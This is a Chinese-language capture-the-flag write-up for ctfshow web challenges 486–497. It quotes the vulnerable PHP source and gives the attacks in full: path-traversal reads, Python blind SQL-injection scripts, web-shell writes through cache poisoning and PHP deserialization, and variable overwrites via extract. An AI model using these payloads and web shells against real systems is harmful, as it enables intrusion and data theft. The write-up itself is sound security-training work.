# 前言
这块内容断断续续做了大概一周才做完,题目还是比较有意思的。有时候会因为一些原因卡住很久,这时候就会感觉很烦躁,依我的性子不该如此,或许是宅太久了也该出去走走
# Web486
容器下发后打开发现是一个登录页
这里在源码部分没有发现有可以利用的带你,但是看见在 url 这里有一个 action 参数,这里测试
发现其实是调用了一个 file_get_contents 函数来打开文件,这里直接读取文件,因为这个写了一个 templates 路径,所以要进行目录穿越
成功拿到 flag
# Web487
容器下发还是这个登录页,尝试上一题的 payload
还能文件读取,但是很显然 flag 不在这里了,这里将 index 等文件读取出来
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1"; | |
$user=db::select_one($sql); | |
if($user){ | |
templateUtil::render('index',array('username'=>$username)); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
这里可以看到当 action 等于 check 的时候会接受 username 和 password 参数,然后执行 sql 语句,这里闭合方式也很明显
?action=check&username=admin') order by 1--+&password=1 |
这里就已经注入成功了,这里写脚本盲注
import requests | |
import time | |
flag = '' | |
for i in range(1,250): | |
time.sleep(0.04) | |
low = 32 | |
high = 128 | |
mid = (low+high)//2 | |
while(low<high): | |
# payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((database()),{0},1))>{1}--+&password=1".format(i,mid) | |
#payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&password=1".format(i,mid) | |
# payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1))>{1}--+&password=1".format(i,mid) | |
payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(flag) from flag),{0},1))>{1}--+&password=1".format(i,mid) | |
r = requests.get(payload)#get 方法传数据 | |
# print(payload) | |
time.sleep(0.04) | |
if 'admin' in r.text:#二分法 | |
low = mid+1 | |
else: | |
high = mid | |
mid = (low+high)//2 | |
if(mid ==32 or mid ==127): | |
break | |
flag = flag+chr(mid) | |
print(flag) |
# Web488
还是先尝试上一题的 payload,先读取一下 index 文件
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1"; | |
$user=db::select_one($sql); | |
if($user){ | |
templateUtil::render('index',array('username'=>$username)); | |
}else{ | |
templateUtil::render('error',array('username'=>$username)); | |
} | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
这里先 MD5 后再包裹,就不能再使用 sql 注入的方式了,这里接着读 render_class.php 文件
<?php | |
ini_set('display_errors', 'On'); | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
if(cache::cache_exists($template)){ | |
echo cache::get_cache($template); | |
}else{ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
cache::create_cache($template,$cache); | |
echo $cache; | |
} | |
} | |
public static function shade($templateContent,$arg){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
<?php | |
ini_set('display_errors', 'On'); | |
class db{ | |
public static function getConnection(){ | |
$username='root'; | |
$password='root'; | |
$port='3306'; | |
$addr='127.0.0.1'; | |
$database='ctfshow'; | |
return new mysqli($addr,$username,$password,$database); | |
} | |
public static function select_one($sql){ | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
} |
<?php | |
ini_set('display_errors', 'On'); | |
class fileUtil{ | |
public static function read($filename){ | |
return file_get_contents($filename); | |
} | |
public static function write($filename,$content,$append =0){ | |
if($append){ | |
file_put_contents($filename, $content,FILE_APPEND); | |
}else{ | |
file_put_contents($filename, $content); | |
} | |
} | |
} |
这个 write 函数很明显可以尝试利用一下 FILE_APPEND 防止删除文件内容
<?php | |
ini_set('display_errors', 'On'); | |
class cache{ | |
public static function create_cache($template,$content){ | |
if(file_exists('cache/'.md5($template).'.php')){ | |
return true; | |
}else{ | |
fileUtil::write('cache/'.md5($template).'.php',$content); | |
} | |
} | |
public static function get_cache($template){ | |
return fileUtil::read('cache/'.md5($template).'.php'); | |
} | |
public static function cache_exists($template){ | |
return file_exists('cache/'.md5($template).'.php'); | |
} | |
} |
这里将目录结构建立好,然后看一下代码逻辑
找一下这个方法的调用
这里可以看见是在 cache 中调用了这个方法,当这个传入的 template 文件的 md5 (template) 文件不存在时调用,接着找谁调用了 cache 的 create_cache 方法
这里的条件也是没有这个 md5 (template) 文件
四处调用的机会,index 和 error 都会将 username 的数据传入这里因为不知道用户名密码,只能使用 error。读取一下 error.php 文件内容
满足利用条件了,写一个马尝试一下
?action=check&username=<?php%20eval($_POST[%27a%27]);%20?>&password=1 |
# Web489
../index | |
../render/render_class | |
../render/file_class | |
../render/cache_class | |
../render/db_class |
还是先尝试读文件
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1"; | |
extract($_GET); | |
$user=db::select_one($sql); | |
if($user){ | |
templateUtil::render('index',array('username'=>$username)); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
render_class.php
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
if(cache::cache_exists($template)){ | |
echo cache::get_cache($template); | |
}else{ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
cache::create_cache($template,$cache); | |
echo $cache; | |
} | |
} | |
public static function shade($templateContent,$arg){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
file_class.php
<?php | |
error_reporting(0); | |
class fileUtil{ | |
public static function read($filename){ | |
return file_get_contents($filename); | |
} | |
public static function write($filename,$content,$append =0){ | |
if($append){ | |
file_put_contents($filename, $content,FILE_APPEND); | |
}else{ | |
file_put_contents($filename, $content); | |
} | |
} | |
} |
cache_class.php
<?php | |
class cache{ | |
public static function create_cache($template,$content){ | |
if(file_exists('cache/'.md5($template).'.php')){ | |
return true; | |
}else{ | |
fileUtil::write('cache/'.md5($template).'.php',$content); | |
} | |
} | |
public static function get_cache($template){ | |
return fileUtil::read('cache/'.md5($template).'.php'); | |
} | |
public static function cache_exists($template){ | |
return file_exists('cache/'.md5($template).'.php'); | |
} | |
} |
db_class.php
<?php | |
class db{ | |
public static function getConnection(){ | |
$username='root'; | |
$password='root'; | |
$port='3306'; | |
$addr='127.0.0.1'; | |
$database='ctfshow'; | |
return new mysqli($addr,$username,$password,$database); | |
} | |
public static function select_one($sql){ | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
} |
/templates/index.php
<!DOCTYPE HTML> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>CTFshow 新手入门题目 </title> | |
</head> | |
<body> | |
欢迎你{ {username} } | |
</body> | |
</html> |
这里多了一个删除功能
这里将 error 的第二个参数删除了,结合上面的删除,很显然这里只能想办法利用这个有第二参数的地方
这里使用了一个 exteact 函数可以实现变量覆盖,这里可以修改 sql 的值,似的 $user 的值为真进入 if 代码块,其他的就和上一题一样了
# Web490
这里还是先读取文件
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
extract($_GET); | |
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$user=db::select_one($sql); | |
if($user){ | |
templateUtil::render('index',array('username'=>$user->username)); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
这里看到 sql 语句和之前不一样了这个地方 username 存在注入点,看了一下逻辑,和上个题一样,不过这里不用变量覆盖了,构造注入来使得 username 的值写入 index 对应的 cache 中
?action=check&username=1' union select '<?php eval($_POST["a"]); ?>' --+ |
写马一直失败,登录看一眼才发现是短标签,这里改一下 payload
action=check&username=1' union select 'eval($_POST["a"]);' --+ |
连接就可以了
# Web491
还是读文件
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
extract($_GET); | |
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$user=db::select_one($sql); | |
if($user){ | |
templateUtil::render('index'); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
这里直接利用文件读取,拿到 flag,注入成功是这样的
脚本贴一下
import requests | |
import time | |
flag = '' | |
for i in range(1,250): | |
time.sleep(0.04) | |
low = 32 | |
high = 128 | |
mid = (low+high)//2 | |
while(low<high): | |
payload = "http://1a92c0ba-d724-444d-a2c4-430a7e61ed59.challenge.ctf.show/index.php?action=check&username=admin' or ascii(substr((select load_file('/flag')),{0},1))>{1}--+&password=1".format(i,mid) | |
r = requests.get(payload)#get 方法传数据 | |
# print(payload) | |
# time.sleep(0.04) | |
if 'flag' in r.text:#二分法 | |
low = mid+1 | |
else: | |
high = mid | |
mid = (low+high)//2 | |
if(mid ==32 or mid ==127): | |
break | |
flag = flag+chr(mid) | |
print(flag) |
# Web492
读文件还能用,这里还是先读文件
<?php | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
header('location:index.php?action=login'); | |
die(); | |
} | |
if($action=='check'){ | |
extract($_GET); | |
if(preg_match('/^[A-Za-z0-9]+$/', $username)){ | |
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$user=db::select_one_array($sql); | |
} | |
if($user){ | |
templateUtil::render('index',$user); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
这里比起上一题改变不多,这里调用 templateUtil 的 render 函数有第二个参数的是当 User 有值的时候调用,这里简单的变量覆盖就可以了
?action=check&user[username]=<?php eval($_POST["a"]); ?>--+ |
这里会在前后加上注释,对应代码块
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
if(cache::cache_exists($template)){ | |
echo cache::get_cache($template); | |
}else{ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
cache::create_cache($template,$cache); | |
echo $cache; | |
} | |
} | |
public static function shade($templateContent,$arg){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', '<!--'.$value.'-->', $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
?action=check&user[username]=--><?php eval($_POST["a"]); ?>--+<-- |
# Web493
还是先读文件,index.php
<?php | |
session_start(); | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
if(isset($_COOKIE['user'])){ | |
$c=$_COOKIE['user']; | |
$user=unserialize($c); | |
if($user){ | |
templateUtil::render('index'); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
die(); | |
} | |
if($action=='check'){ | |
extract($_GET); | |
if(preg_match('/^[A-Za-z0-9]+$/', $username)){ | |
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$db=new db(); | |
$user=$db->select_one($sql); | |
} | |
if($user){ | |
setcookie('user',$user); | |
templateUtil::render('index'); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
render_class.php
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
if(cache::cache_exists($template)){ | |
echo cache::get_cache($template); | |
}else{ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
cache::create_cache($template,$cache); | |
echo $cache; | |
} | |
} | |
public static function shade($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', '<!--'.$value.'-->', $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
file_class.php
<?php | |
error_reporting(0); | |
class fileUtil{ | |
public static function read($filename){ | |
return file_get_contents($filename); | |
} | |
public static function write($filename,$content,$append =0){ | |
if($append){ | |
file_put_contents($filename, $content,FILE_APPEND); | |
}else{ | |
file_put_contents($filename, $content); | |
} | |
} | |
} |
cache_class.php
<?php | |
class cache{ | |
public static function create_cache($template,$content){ | |
if(file_exists('cache/'.md5($template).'.php')){ | |
return true; | |
}else{ | |
fileUtil::write('cache/'.md5($template).'.php',$content); | |
} | |
} | |
public static function get_cache($template){ | |
return fileUtil::read('cache/'.md5($template).'.php'); | |
} | |
public static function cache_exists($template){ | |
return file_exists('cache/'.md5($template).'.php'); | |
} | |
} |
render/db_class.php
<?php | |
error_reporting(0); | |
class db{ | |
public $db; | |
public $log; | |
public $sql; | |
public $username='root'; | |
public $password='root'; | |
public $port='3306'; | |
public $addr='127.0.0.1'; | |
public $database='ctfshow'; | |
public function __construct(){ | |
$this->log=new dbLog(); | |
$this->db=$this->getConnection(); | |
} | |
public function getConnection(){ | |
return new mysqli($this->addr,$this->username,$this->password,$this->database); | |
} | |
public function select_one($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
public function select_one_array($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_assoc(); | |
} | |
} | |
public function __destruct(){ | |
$this->log->log($this->sql); | |
} | |
} | |
class dbLog{ | |
public $sql; | |
public $content; | |
public $log; | |
public function __construct(){ | |
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt'; | |
} | |
public function log($sql){ | |
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n'; | |
} | |
public function __destruct(){ | |
file_put_contents($this->log, $this->content,FILE_APPEND); | |
} | |
} |
在 index 代码中有一个反序列化函数,可以覆盖 dblog 调用 destruct 中的 file_put_contents 函数来写马
<?php | |
class dblog{ | |
public $content='<?php @eval($_POST[a]);?>'; | |
public $log="1.php"; | |
public function __destruct(){ | |
file_put_contents($this->content,$this->log); | |
} | |
} | |
echo urlencode(serialize(new dblog())); | |
unlink("1.php"); | |
//O%3A5%3A%22dblog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A5%3A%221.php%22%3B%7D |
调用完成后去连接
# Web494
先读文件
../index | |
../render/render_class | |
../render/file_class | |
../render/cache_class | |
../render/db_class |
index.php
<?php | |
session_start(); | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
if(isset($_COOKIE['user'])){ | |
$c=$_COOKIE['user']; | |
if(preg_match('/\:|\,/', $c)){ | |
$user=unserialize($c); | |
} | |
if($user){ | |
templateUtil::render('index'); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
die(); | |
} | |
if($action=='check'){ | |
extract($_GET); | |
if(!preg_match('/or|and|innodb|sys/i', $username)){ | |
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$db=new db(); | |
$user=$db->select_one_array($sql); | |
} | |
if($user){ | |
setcookie('user',$user); | |
templateUtil::render('index',$user); | |
}else{ | |
templateUtil::render('error'); | |
} | |
} | |
if($action=='clear'){ | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
} | |
if($action=='login'){ | |
templateUtil::render($action); | |
}else{ | |
templateUtil::render($action); | |
} |
../render/render_class
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
if(cache::cache_exists($template)){ | |
echo cache::get_cache($template); | |
}else{ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
cache::create_cache($template,$cache); | |
echo $cache; | |
} | |
} | |
public static function shade($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
../render/file_class
<?php | |
error_reporting(0); | |
class fileUtil{ | |
public static function read($filename){ | |
return file_get_contents($filename); | |
} | |
public static function write($filename,$content,$append =0){ | |
if($append){ | |
file_put_contents($filename, $content,FILE_APPEND); | |
}else{ | |
file_put_contents($filename, $content); | |
} | |
} | |
} |
../render/cache_class
<?php | |
class cache{ | |
public static function create_cache($template,$content){ | |
if(file_exists('cache/'.md5($template).'.html')){ | |
return true; | |
}else{ | |
fileUtil::write('cache/'.md5($template).'.html',$content); | |
} | |
} | |
public static function get_cache($template){ | |
return fileUtil::read('cache/'.md5($template).'.html'); | |
} | |
public static function cache_exists($template){ | |
return file_exists('cache/'.md5($template).'.html'); | |
} | |
} |
../render/db_class
<?php | |
error_reporting(0); | |
class db{ | |
public $db; | |
public $log; | |
public $sql; | |
public $username='root'; | |
public $password='root'; | |
public $port='3306'; | |
public $addr='127.0.0.1'; | |
public $database='ctfshow'; | |
public function __construct(){ | |
$this->log=new dbLog(); | |
$this->db=$this->getConnection(); | |
} | |
public function getConnection(){ | |
return new mysqli($this->addr,$this->username,$this->password,$this->database); | |
} | |
public function select_one($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
public function select_one_array($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$conn->query($sql); | |
if($result){ | |
return $result->fetch_assoc(); | |
} | |
} | |
public function __destruct(){ | |
$this->log->log($this->sql); | |
} | |
} | |
class dbLog{ | |
public $sql; | |
public $content; | |
public $log; | |
public function __construct(){ | |
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt'; | |
} | |
public function log($sql){ | |
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n'; | |
} | |
public function __destruct(){ | |
file_put_contents($this->log, $this->content,FILE_APPEND); | |
} | |
} |
比起上一题,这里在反序列化内容这里加了一些判断,但是不影响做题流程,还是用上一题的 payload
<?php | |
class dblog{ | |
public $content='<?php @eval($_POST[a]);?>'; | |
public $log="1.php"; | |
public function __destruct(){ | |
file_put_contents($this->content,$this->log); | |
} | |
} | |
echo urlencode(serialize(new dblog())); | |
unlink("1.php"); | |
//O%3A5%3A%22dblog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A5%3A%221.php%22%3B%7D |
但是这这个 flag 是空的
但是这里有数据库的登录用户密码,所以这里可以使用蚁剑的模块来登录数据库
# Web496
../index | |
../render/render_class | |
../render/file_class | |
../render/cache_class | |
../render/db_class |
../index
<?php | |
session_start(); | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
if(isset($_COOKIE['user'])){ | |
$c=$_COOKIE['user']; | |
if(preg_match('/\:|\,/', $c)){ | |
#$user=unserialize($c); | |
} | |
if($user){ | |
templateUtil::render('index'); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
die(); | |
} | |
switch ($action) { | |
case 'check': | |
$username=$_POST['username']; | |
$password=$_POST['password']; | |
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){ | |
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$db=new db(); | |
$user=$db->select_one_array($sql); | |
} | |
if($user){ | |
$_SESSION['user']=$user; | |
header('location:index.php?action=index'); | |
}else{ | |
templateUtil::render('error'); | |
} | |
break; | |
case 'clear': | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
break; | |
case 'login': | |
templateUtil::render($action); | |
break; | |
case 'index': | |
$user=$_SESSION['user']; | |
if($user){ | |
templateUtil::render('index',$user); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
break; | |
case 'view': | |
$user=$_SESSION['user']; | |
if($user){ | |
templateUtil::render($_GET['page'],$user); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
break; | |
case 'logout': | |
session_destroy(); | |
header('location:index.php?action=login'); | |
break; | |
default: | |
templateUtil::render($action); | |
break; | |
} |
../render/render_class
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
} |
../render/file_class
<?php | |
error_reporting(0); | |
class fileUtil{ | |
public static function read($filename){ | |
return file_get_contents($filename); | |
} | |
public static function write($filename,$content,$append =0){ | |
if($append){ | |
file_put_contents($filename, $content,FILE_APPEND); | |
}else{ | |
file_put_contents($filename, $content); | |
} | |
} | |
} |
../render/cache_class
<?php | |
class cache{ | |
public static function create_cache($template,$content){ | |
if(file_exists('cache/'.md5($template).'.html')){ | |
return true; | |
}else{ | |
fileUtil::write('cache/'.md5($template).'.html',$content); | |
} | |
} | |
public static function get_cache($template){ | |
return fileUtil::read('cache/'.md5($template).'.html'); | |
} | |
public static function cache_exists($template){ | |
return file_exists('cache/'.md5($template).'.html'); | |
} | |
} |
../render/db_class
<?php | |
error_reporting(0); | |
class db{ | |
public $db; | |
public $log; | |
public $sql; | |
public $username='root'; | |
public $password='root'; | |
public $port='3306'; | |
public $addr='127.0.0.1'; | |
public $database='ctfshow'; | |
public function __construct(){ | |
$this->log=new dbLog(); | |
$this->db=$this->getConnection(); | |
} | |
public function getConnection(){ | |
return new mysqli($this->addr,$this->username,$this->password,$this->database); | |
} | |
public function select_one($sql){ | |
$this->sql=$sql; | |
$result=$this->db->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
public function select_one_array($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$this->db->query($sql); | |
if($result){ | |
return $result->fetch_assoc(); | |
} | |
} | |
public function update_one($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$this->db->query($sql); | |
return $this->db->affected_rows; | |
} | |
public function __destruct(){ | |
$this->log->log($this->sql); | |
} | |
} | |
class dbLog{ | |
public $sql; | |
public $content; | |
public $log; | |
public function __construct(){ | |
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt'; | |
} | |
public function log($sql){ | |
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n'; | |
} | |
public function __destruct(){ | |
file_put_contents($this->log, $this->content,FILE_APPEND); | |
} | |
} |
在 index 文件中,反序列化函数被注释了,很显然不在考察这个点,先万能密码登录
username=admin'||1=1#&password=2 |
一通翻阅前台源码后,找到了这样一段内容
这里可以看到有一个 api/admin_edit.php 文件,这里也通过任意文件读取拿到源码
../api/admin_edit
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'"; | |
$db=new db(); | |
if($db->update_one($sql)){ | |
$_SESSION['user']['nickname']=$nickname; | |
$ret['msg']='管理员信息修改成功'; | |
}else{ | |
$ret['msg']='管理员信息修改失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
这里使用了 extract 函数,直接变量覆盖就行,接下来就是写脚本盲注拿到 flag
import requests | |
import time | |
import random | |
flag = '' | |
url = 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show/api/admin_edit.php' | |
headers = { | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0', | |
'Accept': 'application/json, text/javascript, */*; q=0.01', | |
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', | |
'Accept-Encoding': 'gzip, deflate', | |
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', | |
'X-Requested-With': 'XMLHttpRequest', | |
'Origin': 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show', | |
'Referer': 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show/index.php?action=view&page=admin_profile_edit', | |
'Connection': 'close', | |
'Cookie': 'PHPSESSID=47ctj3k5luhunkvpaqmmoj2ca3; td_cookie=2201095133' | |
} | |
for i in range(1,250): | |
time.sleep(0.04) | |
low = 32 | |
high = 128 | |
mid = (low+high)//2 | |
while(low<high): | |
# payload = "user[username]='||ascii(substr((database()),{0},1))>{1}#".format(i,mid) | |
# payload = "user[username]='||ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}#".format(i,mid) | |
# payload = "user[username]='||ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1))>{1}#".format(i,mid) | |
payload = "user[username]='||ascii(substr((select group_concat(flagisherebutyouneverknow118) from flagyoudontknow76),{0},1))>{1}#".format(i,mid) | |
data = { | |
'user[username]': payload, | |
'nickname': random.randint(1,10000) | |
} | |
r = requests.post(url=url,headers=headers,data=data) | |
# print(r.text) | |
# print(data) | |
time.sleep(0.04) | |
if "u529f" in r.text:#二分法 | |
low = mid+1 | |
else: | |
high = mid | |
mid = (low+high)//2 | |
if(mid ==32 or mid ==127): | |
break | |
flag = flag+chr(mid) | |
print(flag) |
# Web497
这题就比较快了,先用万能密码登录,然后在修改头像的地方
这里可以直接读取 flag
解码就行
这里贴一下源码
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.php'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
$templateContent=templateUtil::checkImage($templateContent,$arg); | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
public static function checkImage($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
if(stripos($templateContent, '{ {img:'.$key.'} }')){ | |
$encode=''; | |
if(file_exists(__DIR__.'/../cache/'.md5($value))){ | |
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value)); | |
}else{ | |
$ch=curl_init($value); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); | |
curl_close($ch); | |
$ret=chunk_split(base64_encode($result)); | |
$encode = 'data:image/jpg/png/gif;base64,' . $ret; | |
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode); | |
} | |
$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
} |
../api/admin_edit
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
